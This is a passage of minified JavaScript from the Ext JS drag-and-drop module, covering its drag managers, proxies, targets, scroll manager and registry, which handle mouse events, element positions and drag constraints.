i[0] - d; this.initPageY = i[1] - c; this.lastPageX = i[0]; this.lastPageY = i[1]; this.setStartPosition(i) }, setStartPosition:function (d) { var c = d || b.getXY(this.getEl()); this.deltaSetXY = null; this.startPageX = c[0]; this.startPageY = c[1] }, addToGroup:function (c) { this.groups[c] = true; this.DDM.regDragDrop(this, c) }, removeFromGroup:function (c) { if (this.groups[c]) { delete this.groups[c] } this.DDM.removeDDFromGroup(this, c) }, setDragElId:function (c) { this.dragElId = c }, setHandleElId:function (c) { if (typeof c !== "string") { c = Ext.id(c) } this.handleElId = c; this.DDM.regHandle(this.id, c) }, setOuterHandleElId:function (c) { if (typeof c !== "string") { c = Ext.id(c) } a.on(c, "mousedown", this.handleMouseDown, this); this.setHandleElId(c); this.hasOuterHandles = true }, unreg:function () { a.un(this.id, "mousedown", this.handleMouseDown); this._domRef = null; this.DDM._remove(this) }, destroy:function () { this.unreg() }, isLocked:function () { return(this.DDM.isLocked() || this.locked) }, handleMouseDown:function (g, d) { if (this.primaryButtonOnly && g.button != 0) { return } if (this.isLocked()) { return } this.DDM.refreshCache(this.groups); var c = new Ext.lib.Point(Ext.lib.Event.getPageX(g), Ext.lib.Event.getPageY(g)); if (!this.hasOuterHandles && !this.DDM.isOverTarget(c, this)) { } else { if (this.clickValidator(g)) { this.setStartPosition(); this.b4MouseDown(g); this.onMouseDown(g); this.DDM.handleMouseDown(g, this); this.DDM.stopEvent(g) } else { } } }, clickValidator:function (d) { var c = d.getTarget(); return(this.isValidHandleChild(c) && (this.id == this.handleElId || this.DDM.handleWasClicked(c, this.id))) }, addInvalidHandleType:function (c) { var d = c.toUpperCase(); this.invalidHandleTypes[d] = d }, addInvalidHandleId:function (c) { if (typeof c !== "string") { c = Ext.id(c) } this.invalidHandleIds[c] = c }, addInvalidHandleClass:function (c) { this.invalidHandleClasses.push(c) }, removeInvalidHandleType:function (c) { var d = c.toUpperCase(); delete this.invalidHandleTypes[d] }, removeInvalidHandleId:function (c) { if (typeof c !== "string") { c = Ext.id(c) } delete this.invalidHandleIds[c] }, removeInvalidHandleClass:function (d) { for (var e = 0, c = this.invalidHandleClasses.length; e < c; ++e) { if (this.invalidHandleClasses[e] == d) { delete this.invalidHandleClasses[e] } } }, isValidHandleChild:function (h) { var g = true; var k; try { k = h.nodeName.toUpperCase() } catch (j) { k = h.nodeName } g = g && !this.invalidHandleTypes[k]; g = g && !this.invalidHandleIds[h.id]; for (var d = 0, c = this.invalidHandleClasses.length; g && d < c; ++d) { g = !Ext.fly(h).hasClass(this.invalidHandleClasses[d]) } return g }, setXTicks:function (g, c) { this.xTicks = []; this.xTickSize = c; var e = {}; for (var d = this.initPageX; d >= this.minX; d = d - c) { if (!e[d]) { this.xTicks[this.xTicks.length] = d; e[d] = true } } for (d = this.initPageX; d <= this.maxX; d = d + c) { if (!e[d]) { this.xTicks[this.xTicks.length] = d; e[d] = true } } this.xTicks.sort(this.DDM.numericSort) }, setYTicks:function (g, c) { this.yTicks = []; this.yTickSize = c; var e = {}; for (var d = this.initPageY; d >= this.minY; d = d - c) { if (!e[d]) { this.yTicks[this.yTicks.length] = d; e[d] = true } } for (d = this.initPageY; d <= this.maxY; d = d + c) { if (!e[d]) { this.yTicks[this.yTicks.length] = d; e[d] = true } } this.yTicks.sort(this.DDM.numericSort) }, setXConstraint:function (e, d, c) { this.leftConstraint = e; this.rightConstraint = d; this.minX = this.initPageX - e; this.maxX = this.initPageX + d; if (c) { this.setXTicks(this.initPageX, c) } this.constrainX = true }, clearConstraints:function () { this.constrainX = false; this.constrainY = false; this.clearTicks() }, clearTicks:function () { this.xTicks = null; this.yTicks = null; this.xTickSize = 0; this.yTickSize = 0 }, setYConstraint:function (c, e, d) { this.topConstraint = c; this.bottomConstraint = e; this.minY = this.initPageY - c; this.maxY = this.initPageY + e; if (d) { this.setYTicks(this.initPageY, d) } this.constrainY = true }, resetConstraints:function () { if (this.initPageX || this.initPageX === 0) { var d = (this.maintainOffset) ? this.lastPageX - this.initPageX : 0; var c = (this.maintainOffset) ? this.lastPageY - this.initPageY : 0; this.setInitPosition(d, c) } else { this.setInitPosition() } if (this.constrainX) { this.setXConstraint(this.leftConstraint, this.rightConstraint, this.xTickSize) } if (this.constrainY) { this.setYConstraint(this.topConstraint, this.bottomConstraint, this.yTickSize) } }, getTick:function (k, g) { if (!g) { return k } else { if (g[0] >= k) { return g[0] } else { for (var d = 0, c = g.length; d < c; ++d) { var e = d + 1; if (g[e] && g[e] >= k) { var j = k - g[d]; var h = g[e] - k; return(h > j) ? g[d] : g[e] } } return g[g.length - 1] } } }, toString:function () { return("DragDrop " + this.id) }} })(); if (!Ext.dd.DragDropMgr) { Ext.dd.DragDropMgr = function () { var a = Ext.EventManager; return{ids:{}, handleIds:{}, dragCurrent:null, dragOvers:{}, deltaX:0, deltaY:0, preventDefault:true, stopPropagation:true, initialized:false, locked:false, init:function () { this.initialized = true }, POINT:0, INTERSECT:1, mode:0, _execOnAll:function (d, c) { for (var e in this.ids) { for (var b in this.ids[e]) { var g = this.ids[e][b]; if (!this.isTypeOfDD(g)) { continue } g[d].apply(g, c) } } }, _onLoad:function () { this.init(); a.on(document, "mouseup", this.handleMouseUp, this, true); a.on(document, "mousemove", this.handleMouseMove, this, true); a.on(window, "unload", this._onUnload, this, true); a.on(window, "resize", this._onResize, this, true) }, _onResize:function (b) { this._execOnAll("resetConstraints", []) }, lock:function () { this.locked = true }, unlock:function () { this.locked = false }, isLocked:function () { return this.locked }, locationCache:{}, useCache:true, clickPixelThresh:3, clickTimeThresh:350, dragThreshMet:false, clickTimeout:null, startX:0, startY:0, regDragDrop:function (c, b) { if (!this.initialized) { this.init() } if (!this.ids[b]) { this.ids[b] = {} } this.ids[b][c.id] = c }, removeDDFromGroup:function (d, b) { if (!this.ids[b]) { this.ids[b] = {} } var c = this.ids[b]; if (c && c[d.id]) { delete c[d.id] } }, _remove:function (c) { for (var b in c.groups) { if (b && this.ids[b] && this.ids[b][c.id]) { delete this.ids[b][c.id] } } delete this.handleIds[c.id] }, regHandle:function (c, b) { if (!this.handleIds[c]) { this.handleIds[c] = {} } this.handleIds[c][b] = b }, isDragDrop:function (b) { return(this.getDDById(b)) ? true : false }, getRelated:function (h, c) { var g = []; for (var e in h.groups) { for (var d in this.ids[e]) { var b = this.ids[e][d]; if (!this.isTypeOfDD(b)) { continue } if (!c || b.isTarget) { g[g.length] = b } } } return g }, isLegalTarget:function (g, e) { var c = this.getRelated(g, true); for (var d = 0, b = c.length; d < b; ++d) { if (c[d].id == e.id) { return true } } return false }, isTypeOfDD:function (b) { return(b && b.__ygDragDrop) }, isHandle:function (c, b) { return(this.handleIds[c] && this.handleIds[c][b]) }, getDDById:function (c) { for (var b in this.ids) { if (this.ids[b][c]) { return this.ids[b][c] } } return null }, handleMouseDown:function (d, c) { if (Ext.QuickTips) { Ext.QuickTips.ddDisable() } if (this.dragCurrent) { this.handleMouseUp(d) } this.currentTarget = d.getTarget(); this.dragCurrent = c; var b = c.getEl(); this.startX = d.getPageX(); this.startY = d.getPageY(); this.deltaX = this.startX - b.offsetLeft; this.deltaY = this.startY - b.offsetTop; this.dragThreshMet = false; this.clickTimeout = setTimeout(function () { var e = Ext.dd.DDM; e.startDrag(e.startX, e.startY) }, this.clickTimeThresh) }, startDrag:function (b, c) { clearTimeout(this.clickTimeout); if (this.dragCurrent) { this.dragCurrent.b4StartDrag(b, c); this.dragCurrent.startDrag(b, c) } this.dragThreshMet = true }, handleMouseUp:function (b) { if (Ext.QuickTips) { Ext.QuickTips.ddEnable() } if (!this.dragCurrent) { return } clearTimeout(this.clickTimeout); if (this.dragThreshMet) { this.fireEvents(b, true) } else { } this.stopDrag(b); this.stopEvent(b) }, stopEvent:function (b) { if (this.stopPropagation) { b.stopPropagation() } if (this.preventDefault) { b.preventDefault() } }, stopDrag:function (b) { if (this.dragCurrent) { if (this.dragThreshMet) { this.dragCurrent.b4EndDrag(b); this.dragCurrent.endDrag(b) } this.dragCurrent.onMouseUp(b) } this.dragCurrent = null; this.dragOvers = {} }, handleMouseMove:function (d) { if (!this.dragCurrent) { return true } if (Ext.isIE && (d.button !== 0 && d.button !== 1 && d.button !== 2)) { this.stopEvent(d); return this.handleMouseUp(d) } if (!this.dragThreshMet) { var c = Math.abs(this.startX - d.getPageX()); var b = Math.abs(this.startY - d.getPageY()); if (c > this.clickPixelThresh || b > this.clickPixelThresh) { this.startDrag(this.startX, this.startY) } } if (this.dragThreshMet) { this.dragCurrent.b4Drag(d); this.dragCurrent.onDrag(d); if (!this.dragCurrent.moveOnly) { this.fireEvents(d, false) } } this.stopEvent(d); return true }, fireEvents:function (n, o) { var q = this.dragCurrent; if (!q || q.isLocked()) { return } var r = n.getPoint(); var b = []; var g = []; var l = []; var j = []; var d = []; for (var h in this.dragOvers) { var c = this.dragOvers[h]; if (!this.isTypeOfDD(c)) { continue } if (!this.isOverTarget(r, c, this.mode)) { g.push(c) } b[h] = true; delete this.dragOvers[h] } for (var p in q.groups) { if ("string" != typeof p) { continue } for (h in this.ids[p]) { var k = this.ids[p][h]; if (!this.isTypeOfDD(k)) { continue } if (k.isTarget && !k.isLocked() && ((k != q) || (q.ignoreSelf === false))) { if (this.isOverTarget(r, k, this.mode)) { if (o) { j.push(k) } else { if (!b[k.id]) { d.push(k) } else { l.push(k) } this.dragOvers[k.id] = k } } } } } if (this.mode) { if (g.length) { q.b4DragOut(n, g); q.onDragOut(n, g) } if (d.length) { q.onDragEnter(n, d) } if (l.length) { q.b4DragOver(n, l); q.onDragOver(n, l) } if (j.length) { q.b4DragDrop(n, j); q.onDragDrop(n, j) } } else { var m = 0; for (h = 0, m = g.length; h < m; ++h) { q.b4DragOut(n, g[h].id); q.onDragOut(n, g[h].id) } for (h = 0, m = d.length; h < m; ++h) { q.onDragEnter(n, d[h].id) } for (h = 0, m = l.length; h < m; ++h) { q.b4DragOver(n, l[h].id); q.onDragOver(n, l[h].id) } for (h = 0, m = j.length; h < m; ++h) { q.b4DragDrop(n, j[h].id); q.onDragDrop(n, j[h].id) } } if (o && !j.length) { q.onInvalidDrop(n) } }, getBestMatch:function (d) { var g = null; var c = d.length; if (c == 1) { g = d[0] } else { for (var e = 0; e < c; ++e) { var b = d[e]; if (b.cursorIsOver) { g = b; break } else { if (!g || g.overlap.getArea() < b.overlap.getArea()) { g = b } } } } return g }, refreshCache:function (c) { for (var b in c) { if ("string" != typeof b) { continue } for (var d in this.ids[b]) { var e = this.ids[b][d]; if (this.isTypeOfDD(e)) { var g = this.getLocation(e); if (g) { this.locationCache[e.id] = g } else { delete this.locationCache[e.id] } } } } }, verifyEl:function (c) { if (c) { var b; if (Ext.isIE) { try { b = c.offsetParent } catch (d) { } } else { b = c.offsetParent } if (b) { return true } } return false }, getLocation:function (j) { if (!this.isTypeOfDD(j)) { return null } var h = j.getEl(), o, g, d, q, p, s, c, n, i, m; try { o = Ext.lib.Dom.getXY(h) } catch (k) { } if (!o) { return null } g = o[0]; d = g + h.offsetWidth; q = o[1]; p = q + h.offsetHeight; s = q - j.padding[0]; c = d + j.padding[1]; n = p + j.padding[2]; i = g - j.padding[3]; m = new Ext.lib.Region(s, c, n, i); h = Ext.get(h.parentNode); while (h && m) { if (h.isScrollable()) { m = m.intersect(h.getRegion()) } h = h.parent() } return m }, isOverTarget:function (k, b, d) { var g = this.locationCache[b.id]; if (!g || !this.useCache) { g = this.getLocation(b); this.locationCache[b.id] = g } if (!g) { return false } b.cursorIsOver = g.contains(k); var j = this.dragCurrent; if (!j || !j.getTargetCoord || (!d && !j.constrainX && !j.constrainY)) { return b.cursorIsOver } b.overlap = null; var h = j.getTargetCoord(k.x, k.y); var c = j.getDragEl(); var e = new Ext.lib.Region(h.y, h.x + c.offsetWidth, h.y + c.offsetHeight, h.x); var i = e.intersect(g); if (i) { b.overlap = i; return(d) ? true : b.cursorIsOver } else { return false } }, _onUnload:function (c, b) { a.removeListener(document, "mouseup", this.handleMouseUp, this); a.removeListener(document, "mousemove", this.handleMouseMove, this); a.removeListener(window, "resize", this._onResize, this); Ext.dd.DragDropMgr.unregAll() }, unregAll:function () { if (this.dragCurrent) { this.stopDrag(); this.dragCurrent = null } this._execOnAll("unreg", []); for (var b in this.elementCache) { delete this.elementCache[b] } this.elementCache = {}; this.ids = {} }, elementCache:{}, getElWrapper:function (c) { var b = this.elementCache[c]; if (!b || !b.el) { b = this.elementCache[c] = new this.ElementWrapper(Ext.getDom(c)) } return b }, getElement:function (b) { return Ext.getDom(b) }, getCss:function (c) { var b = Ext.getDom(c); return(b) ? b.style : null }, ElementWrapper:function (b) { this.el = b || null; this.id = this.el && b.id; this.css = this.el && b.style }, getPosX:function (b) { return Ext.lib.Dom.getX(b) }, getPosY:function (b) { return Ext.lib.Dom.getY(b) }, swapNode:function (d, b) { if (d.swapNode) { d.swapNode(b) } else { var e = b.parentNode; var c = b.nextSibling; if (c == d) { e.insertBefore(d, b) } else { if (b == d.nextSibling) { e.insertBefore(b, d) } else { d.parentNode.replaceChild(b, d); e.insertBefore(d, c) } } } }, getScroll:function () { var d, b, e = document.documentElement, c = document.body; if (e && (e.scrollTop || e.scrollLeft)) { d = e.scrollTop; b = e.scrollLeft } else { if (c) { d = c.scrollTop; b = c.scrollLeft } else { } } return{top:d, left:b} }, getStyle:function (c, b) { return Ext.fly(c).getStyle(b) }, getScrollTop:function () { return this.getScroll().top }, getScrollLeft:function () { return this.getScroll().left }, moveToEl:function (b, d) { var c = Ext.lib.Dom.getXY(d); Ext.lib.Dom.setXY(b, c) }, numericSort:function (d, c) { return(d - c) }, _timeoutCount:0, _addListeners:function () { var b = Ext.dd.DDM; if (Ext.lib.Event && document) { b._onLoad() } else { if (b._timeoutCount > 2000) { } else { setTimeout(b._addListeners, 10); if (document && document.body) { b._timeoutCount += 1 } } } }, handleWasClicked:function (b, d) { if (this.isHandle(d, b.id)) { return true } else { var c = b.parentNode; while (c) { if (this.isHandle(d, c.id)) { return true } else { c = c.parentNode } } } return false }} }(); Ext.dd.DDM = Ext.dd.DragDropMgr; Ext.dd.DDM._addListeners() } Ext.dd.DD = function (c, a, b) { if (c) { this.init(c, a, b) } }; Ext.extend(Ext.dd.DD, Ext.dd.DragDrop, {scroll:true, autoOffset:function (c, b) { var a = c - this.startPageX; var d = b - this.startPageY; this.setDelta(a, d) }, setDelta:function (b, a) { this.deltaX = b; this.deltaY = a }, setDragElPos:function (c, b) { var a = this.getDragEl(); this.alignElWithMouse(a, c, b) }, alignElWithMouse:function (c, h, g) { var e = this.getTargetCoord(h, g); var b = c.dom ? c : Ext.fly(c, "_dd"); if (!this.deltaSetXY) { var i = [e.x, e.y]; b.setXY(i); var d = b.getLeft(true); var a = b.getTop(true); this.deltaSetXY = [d - e.x, a - e.y] } else { b.setLeftTop(e.x + this.deltaSetXY[0], e.y + this.deltaSetXY[1]) } this.cachePosition(e.x, e.y); this.autoScroll(e.x, e.y, c.offsetHeight, c.offsetWidth); return e }, cachePosition:function (b, a) { if (b) { this.lastPageX = b; this.lastPageY = a } else { var c = Ext.lib.Dom.getXY(this.getEl()); this.lastPageX = c[0]; this.lastPageY = c[1] } }, autoScroll:function (l, k, e, m) { if (this.scroll) { var n = Ext.lib.Dom.getViewHeight(); var b = Ext.lib.Dom.getViewWidth(); var p = this.DDM.getScrollTop(); var d = this.DDM.getScrollLeft(); var j = e + k; var o = m + l; var i = (n + p - k - this.deltaY); var g = (b + d - l - this.deltaX); var c = 40; var a = (document.all) ? 80 : 30; if (j > n && i < c) { window.scrollTo(d, p + a) } if (k < p && p > 0 && k - p < c) { window.scrollTo(d, p - a) } if (o > b && g < c) { window.scrollTo(d + a, p) } if (l < d && d > 0 && l - d < c) { window.scrollTo(d - a, p) } } }, getTargetCoord:function (c, b) { var a = c - this.deltaX; var d = b - this.deltaY; if (this.constrainX) { if (a < this.minX) { a = this.minX } if (a > this.maxX) { a = this.maxX } } if (this.constrainY) { if (d < this.minY) { d = this.minY } if (d > this.maxY) { d = this.maxY } } a = this.getTick(a, this.xTicks); d = this.getTick(d, this.yTicks); return{x:a, y:d} }, applyConfig:function () { Ext.dd.DD.superclass.applyConfig.call(this); this.scroll = (this.config.scroll !== false) }, b4MouseDown:function (a) { this.autoOffset(a.getPageX(), a.getPageY()) }, b4Drag:function (a) { this.setDragElPos(a.getPageX(), a.getPageY()) }, toString:function () { return("DD " + this.id) }}); Ext.dd.DDProxy = function (c, a, b) { if (c) { this.init(c, a, b); this.initFrame() } }; Ext.dd.DDProxy.dragElId = "ygddfdiv"; Ext.extend(Ext.dd.DDProxy, Ext.dd.DD, {resizeFrame:true, centerFrame:false, createFrame:function () { var b = this; var a = document.body; if (!a || !a.firstChild) { setTimeout(function () { b.createFrame() }, 50); return } var d = this.getDragEl(); if (!d) { d = document.createElement("div"); d.id = this.dragElId; var c = d.style; c.position = "absolute"; c.visibility = "hidden"; c.cursor = "move"; c.border = "2px solid #aaa"; c.zIndex = 999; a.insertBefore(d, a.firstChild) } }, initFrame:function () { this.createFrame() }, applyConfig:function () { Ext.dd.DDProxy.superclass.applyConfig.call(this); this.resizeFrame = (this.config.resizeFrame !== false); this.centerFrame = (this.config.centerFrame); this.setDragElId(this.config.dragElId || Ext.dd.DDProxy.dragElId) }, showFrame:function (e, d) { var c = this.getEl(); var a = this.getDragEl(); var b = a.style; this._resizeProxy(); if (this.centerFrame) { this.setDelta(Math.round(parseInt(b.width, 10) / 2), Math.round(parseInt(b.height, 10) / 2)) } this.setDragElPos(e, d); Ext.fly(a).show() }, _resizeProxy:function () { if (this.resizeFrame) { var a = this.getEl(); Ext.fly(this.getDragEl()).setSize(a.offsetWidth, a.offsetHeight) } }, b4MouseDown:function (b) { var a = b.getPageX(); var c = b.getPageY(); this.autoOffset(a, c); this.setDragElPos(a, c) }, b4StartDrag:function (a, b) { this.showFrame(a, b) }, b4EndDrag:function (a) { Ext.fly(this.getDragEl()).hide() }, endDrag:function (c) { var b = this.getEl(); var a = this.getDragEl(); a.style.visibility = ""; this.beforeMove(); b.style.visibility = "hidden"; Ext.dd.DDM.moveToEl(b, a); a.style.visibility = "hidden"; b.style.visibility = ""; this.afterDrag() }, beforeMove:function () { }, afterDrag:function () { }, toString:function () { return("DDProxy " + this.id) }}); Ext.dd.DDTarget = function (c, a, b) { if (c) { this.initTarget(c, a, b) } }; Ext.extend(Ext.dd.DDTarget, Ext.dd.DragDrop, {getDragEl:Ext.emptyFn, isValidHandleChild:Ext.emptyFn, startDrag:Ext.emptyFn, endDrag:Ext.emptyFn, onDrag:Ext.emptyFn, onDragDrop:Ext.emptyFn, onDragEnter:Ext.emptyFn, onDragOut:Ext.emptyFn, onDragOver:Ext.emptyFn, onInvalidDrop:Ext.emptyFn, onMouseDown:Ext.emptyFn, onMouseUp:Ext.emptyFn, setXConstraint:Ext.emptyFn, setYConstraint:Ext.emptyFn, resetConstraints:Ext.emptyFn, clearConstraints:Ext.emptyFn, clearTicks:Ext.emptyFn, setInitPosition:Ext.emptyFn, setDragElId:Ext.emptyFn, setHandleElId:Ext.emptyFn, setOuterHandleElId:Ext.emptyFn, addInvalidHandleClass:Ext.emptyFn, addInvalidHandleId:Ext.emptyFn, addInvalidHandleType:Ext.emptyFn, removeInvalidHandleClass:Ext.emptyFn, removeInvalidHandleId:Ext.emptyFn, removeInvalidHandleType:Ext.emptyFn, toString:function () { return("DDTarget " + this.id) }}); Ext.dd.DragTracker = Ext.extend(Ext.util.Observable, {active:false, tolerance:5, autoStart:false, constructor:function (a) { Ext.apply(this, a); this.addEvents("mousedown", "mouseup", "mousemove", "dragstart", "dragend", "drag"); this.dragRegion = new Ext.lib.Region(0, 0, 0, 0); if (this.el) { this.initEl(this.el) } Ext.dd.DragTracker.superclass.constructor.call(this, a) }, initEl:function (a) { this.el = Ext.get(a); a.on("mousedown", this.onMouseDown, this, this.delegate ? {delegate:this.delegate} : undefined) }, destroy:function () { this.el.un("mousedown", this.onMouseDown, this); delete this.el }, onMouseDown:function (b, a) { if (this.fireEvent("mousedown", this, b) !== false && this.onBeforeStart(b) !== false) { this.startXY = this.lastXY = b.getXY(); this.dragTarget = this.delegate ? a : this.el.dom; if (this.preventDefault !== false) { b.preventDefault() } Ext.getDoc().on({scope:this, mouseup:this.onMouseUp, mousemove:this.onMouseMove, selectstart:this.stopSelect}); if (this.autoStart) { this.timer = this.triggerStart.defer(this.autoStart === true ? 1000 : this.autoStart, this, [b]) } } }, onMouseMove:function (d, c) { if (this.active && Ext.isIE && !d.browserEvent.button) { d.preventDefault(); this.onMouseUp(d); return } d.preventDefault(); var b = d.getXY(), a = this.startXY; this.lastXY = b; if (!this.active) { if (Math.abs(a[0] - b[0]) > this.tolerance || Math.abs(a[1] - b[1]) > this.tolerance) { this.triggerStart(d) } else { return } } this.fireEvent("mousemove", this, d); this.onDrag(d); this.fireEvent("drag", this, d) }, onMouseUp:function (c) { var b = Ext.getDoc(), a = this.active; b.un("mousemove", this.onMouseMove, this); b.un("mouseup", this.onMouseUp, this); b.un("selectstart", this.stopSelect, this); c.preventDefault(); this.clearStart(); this.active = false; delete this.elRegion; this.fireEvent("mouseup", this, c); if (a) { this.onEnd(c); this.fireEvent("dragend", this, c) } }, triggerStart:function (a) { this.clearStart(); this.active = true; this.onStart(a); this.fireEvent("dragstart", this, a) }, clearStart:function () { if (this.timer) { clearTimeout(this.timer); delete this.timer } }, stopSelect:function (a) { a.stopEvent(); return false }, onBeforeStart:function (a) { }, onStart:function (a) { }, onDrag:function (a) { }, onEnd:function (a) { }, getDragTarget:function () { return this.dragTarget }, getDragCt:function () { return this.el }, getXY:function (a) { return a ? this.constrainModes[a].call(this, this.lastXY) : this.lastXY }, getOffset:function (c) { var b = this.getXY(c), a = this.startXY; return[a[0] - b[0], a[1] - b[1]] }, constrainModes:{point:function (b) { if (!this.elRegion) { this.elRegion = this.getDragCt().getRegion() } var a = this.dragRegion; a.left = b[0]; a.top = b[1]; a.right = b[0]; a.bottom = b[1]; a.constrainTo(this.elRegion); return[a.left, a.top] }}}); Ext.dd.ScrollManager = function () { var c = Ext.dd.DragDropMgr; var e = {}; var b = null; var i = {}; var h = function (l) { b = null; a() }; var j = function () { if (c.dragCurrent) { c.refreshCache(c.dragCurrent.groups) } }; var d = function () { if (c.dragCurrent) { var l = Ext.dd.ScrollManager; var m = i.el.ddScrollConfig ? i.el.ddScrollConfig.increment : l.increment; if (!l.animate) { if (i.el.scroll(i.dir, m)) { j() } } else { i.el.scroll(i.dir, m, true, l.animDuration, j) } } }; var a = function () { if (i.id) { clearInterval(i.id) } i.id = 0; i.el = null; i.dir = "" }; var g = function (m, l) { a(); i.el = m; i.dir = l; var o = m.ddScrollConfig ? m.ddScrollConfig.ddGroup : undefined, n = (m.ddScrollConfig && m.ddScrollConfig.frequency) ? m.ddScrollConfig.frequency : Ext.dd.ScrollManager.frequency; if (o === undefined || c.dragCurrent.ddGroup == o) { i.id = setInterval(d, n) } }; var k = function (o, q) { if (q || !c.dragCurrent) { return } var s = Ext.dd.ScrollManager; if (!b || b != c.dragCurrent) { b = c.dragCurrent; s.refreshCache() } var t = Ext.lib.Event.getXY(o); var u = new Ext.lib.Point(t[0], t[1]); for (var m in e) { var n = e[m], l = n._region; var p = n.ddScrollConfig ? n.ddScrollConfig : s; if (l && l.contains(u) && n.isScrollable()) { if (l.bottom - u.y <= p.vthresh) { if (i.el != n) { g(n, "down") } return } else { if (l.right - u.x <= p.hthresh) { if (i.el != n) { g(n, "left") } return } else { if (u.y - l.top <= p.vthresh) { if (i.el != n) { g(n, "up") } return } else { if (u.x - l.left <= p.hthresh) { if (i.el != n) { g(n, "right") } return } } } } } } a() }; c.fireEvents = c.fireEvents.createSequence(k, c); c.stopDrag = c.stopDrag.createSequence(h, c); return{register:function (n) { if (Ext.isArray(n)) { for (var m = 0, l = n.length; m < l; m++) { this.register(n[m]) } } else { n = Ext.get(n); e[n.id] = n } }, unregister:function (n) { if (Ext.isArray(n)) { for (var m = 0, l = n.length; m < l; m++) { this.unregister(n[m]) } } else { n = Ext.get(n); delete e[n.id] } }, vthresh:25, hthresh:25, increment:100, frequency:500, animate:true, animDuration:0.4, ddGroup:undefined, refreshCache:function () { for (var l in e) { if (typeof e[l] == "object") { e[l]._region = e[l].getRegion() } } }} }(); Ext.dd.Registry = function () { var d = {}; var b = {}; var a = 0; var c = function (g, e) { if (typeof g == "string") { return g } var h = g.id; if (!h && e !== false) { h = "extdd-" + (++a); g.id = h } return h }; return{register:function (j, k) { k = k || {}; if (typeof j == "string") { j = document.getElementById(j) } k.ddel = j; d[c(j)] = k; if (k.isHandle !== false) { b[k.ddel.id] = k } if (k.handles) { var h = k.handles; for (var g = 0, e = h.length; g < e; g++) { b[c(h[g])] = k } } }, unregister:function (j) { var l = c(j, false); var k = d[l]; if (k) { delete d[l]; if (k.handles) { var h = k.handles; for (var g = 0, e = h.length; g < e; g++) { delete b[c(h[g], false)] } } } }, getHandle:function (e) { if (typeof e != "string") { e = e.id } return b[e] }, getHandleFromEvent:function (h) { var g = Ext.lib.Event.getTarget(h); return g ? b[g.id] : null }, getTarget:function (e) { if (typeof e != "string") { e = e.id } return d[e] }, getTargetFromEvent:function (h) { var g = Ext.lib.Event.getTarget(h); return g ? d[g.id] || b[g.id] : null }} }(); Ext.dd.StatusProxy = function (a) { Ext.apply(this, a); this.id = this.id || Ext.id(); this.el = new Ext.Layer({dh:{id:this.id, tag:"div", cls:"x-dd-drag-proxy " + this.dropNotAllowed, children:[ {tag:"div", cls:"x-dd-drop-icon"}, {tag:"div", cls:"x-dd-drag-ghost"} ]}, shadow:!a || a.shadow !== false}); this.ghost = Ext.get(this.el.dom.childNodes[1]); this.dropStatus = this.dropNotAllowed }; Ext.dd.StatusProxy.prototype = {dropAllowed:"x-dd-drop-ok", dropNotAllowed:"x-dd-drop-nodrop", setStatus:function (a) { a = a || this.dropNotAllowed; if (this.dropStatus != a) { this.el.replaceClass(this.dropStatus, a); this.dropStatus = a } }, reset:function (a) { this.el.dom.className = "x-dd-drag-proxy " + this.dropNotAllowed; this.dropStatus = this.dropNotAllowed; if (a) { this.ghost.update("") } }, update:function (a) { if (typeof a == "string") { this.ghost.update(a) } else { this.ghost.update(""); a.style.margin = "0"; this.ghost.dom.appendChild(a) } var b = this.ghost.dom.firstChild; if (b) { Ext.fly(b).setStyle("float", "none") } }, getEl:function () { return this.el }, getGhost:function () { return this.ghost }, hide:function (a) { this.el.hide(); if (a) { this.reset(true) } }, stop:function () { if (this.anim && this.anim.isAnimated && this.anim.isAnimated()) { this.anim.stop() } }, show:function () { this.el.show() }, sync:function () { this.el.sync() }, repair:function (b, c, a) { this.callback = c; this.scope = a; if (b && this.animRepair !== false) { this.el.addClass("x-dd-drag-repair"); this.el.hideUnders(true); this.anim = this.el.shift({duration:this.repairDuration || 0.5, easing:"easeOut", xy:b, stopFx:true, callback:this.afterRepair, scope:this}) } else { this.afterRepair() } }, afterRepair:function () { this.hide(true); if (typeof this.callback == "function") { this.callback.call(this.scope || this) } this.callback = null; this.scope = null }, destroy:function () { Ext.destroy(this.ghost, this.el) }}; Ext.dd.DragSource = function (b, a) { this.el = Ext.get(b); if (!this.dragData) { this.dragData = {} } Ext.apply(this, a); if (!this.proxy) { this.proxy = new Ext.dd.StatusProxy() } Ext.dd.DragSource.superclass.constructor.call(this, this.el.dom, this.ddGroup || this.group, {dragElId:this.proxy.id, resizeFrame:false, isTarget:false, scroll:this.scroll === true}); this.dragging = false }; Ext.extend(Ext.dd.DragSource, Ext.dd.DDProxy, {dropAllowed:"x-dd-drop-ok", dropNotAllowed:"x-dd-drop-nodrop", getDragData:function (a) { return this.dragData }, onDragEnter:function (c, d) { var b = Ext.dd.DragDropMgr.getDDById(d); this.cachedTarget = b; if (this.beforeDragEnter(b, c, d) !== false) { if (b.isNotifyTarget) { var a = b.notifyEnter(this, c, this.dragData); this.proxy.setStatus(a) } else { this.proxy.setStatus(this.dropAllowed) } if (this.afterDragEnter) { this.afterDragEnter(b, c, d) } } }, beforeDragEnter:function (b, a, c) { return true }, alignElWithMouse:function () { Ext.dd.DragSource.superclass.alignElWithMouse.apply(this, arguments); this.proxy.sync() }, onDragOver:function (c, d) { var b = this.cachedTarget || Ext.dd.DragDropMgr.getDDById(d); if (this.beforeDragOver(b, c, d) !== false) { if (b.isNotifyTarget) { var a = b.notifyOver(this, c, this.dragData); this.proxy.setStatus(a) } if (this.afterDragOver) { this.afterDragOver(b, c, d) } } }, beforeDragOver:function (b, a, c) { return true }, onDragOut:function (b, c) { var a = this.cachedTarget || Ext.dd.DragDropMgr.getDDById(c); if (this.beforeDragOut(a, b, c) !== false) { if (a.isNotifyTarget) { a.notifyOut(this, b, this.dragData) } this.proxy.reset(); if (this.afterDragOut) { this.afterDragOut(a, b, c) } } this.cachedTarget = null }, beforeDragOut:function (b, a, c) { return true }, onDragDrop:function (b, c) { var a = this.cachedTarget || Ext.dd.DragDropMgr.getDDById(c); if (this.beforeDragDrop(a, b, c) !== false) { if (a.isNotifyTarget) { if (a.notifyDrop(this, b, this.dragData)) { this.onValidDrop(a, b, c) } else { this.onInvalidDrop(a, b, c) } } else { this.onValidDrop(a, b, c) } if (this.afterDragDrop) { this.afterDragDrop(a, b, c) } } delete this.cachedTarget }, beforeDragDrop:function (b, a, c) { return true }, onValidDrop:function (b, a, c) { this.hideProxy(); if (this.afterValidDrop) { this.afterValidDrop(b, a, c) } }, getRepairXY:function (b, a) { return this.el.getXY() }, onInvalidDrop:function (b, a, c) { this.beforeInvalidDrop(b, a, c); if (this.cachedTarget) { if (this.cachedTarget.isNotifyTarget) { this.cachedTarget.notifyOut(this, a, this.dragData) } this.cacheTarget = null } 